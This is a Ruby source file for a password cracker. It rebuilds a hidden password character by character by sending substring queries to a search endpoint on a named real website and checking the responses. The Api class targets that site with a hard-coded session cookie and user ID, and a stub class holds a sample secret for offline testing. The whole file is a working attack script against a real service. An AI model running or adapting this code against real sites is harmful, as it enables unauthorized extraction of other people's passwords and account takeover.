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require 'faraday'
class PasswordCracker
ALPHABET = (('a'..'z').to_a + ('0'..'9').to_a).shuffle
SUBJECT = 'password'
def initialize(api)
@api = api
@password = ''
end
def crack!
find_starting_letter!
puts "Found first letter: #{@password}"
puts "\nBuilding forward!\n"
build_forward!
puts "\nBuilding backward!\n"
build_backward!
puts "Done! The result is #{@password}."
puts "We found it in #{@api.iterations} iterations"
@password
end
private
def find_starting_letter!
candidate_letters = ALPHABET - SUBJECT.chars
@password = candidate_letters.find { |char| @api.include?(char) }
end
def build_forward!
build!(forward: true)
end
def build_backward!
build!(forward: false)
end
def build!(forward:)
puts "Current password: #{@password}"
ALPHABET.each do |char|
guess = forward ? @password + char : char + @password
if @api.include?(guess)
@password = guess
build!(forward: forward)
return
end
end
end
end
class Api
BASE_URL = 'http://www.lettermelater.com/account.php'
COOKIE = 'code=13fa1fa011169ab29007fcad17b2ae; user_id=279789'
@iterations = 0
def self.get(query)
@iterations += 1
Faraday.get(BASE_URL, { qe: query }, Cookie: COOKIE).body
end
def self.include?(substring)
get(substring).include?('password')
end
def self.iterations
@iterations
end
end
class ApiStub
SECRET_PASSWORD = 'g420hpfjpefoj490rjgsd'
@iterations = 0
def self.include?(substring)
@iterations += 1
SECRET_PASSWORD.include?(substring)
end
def self.iterations
@iterations
end
end
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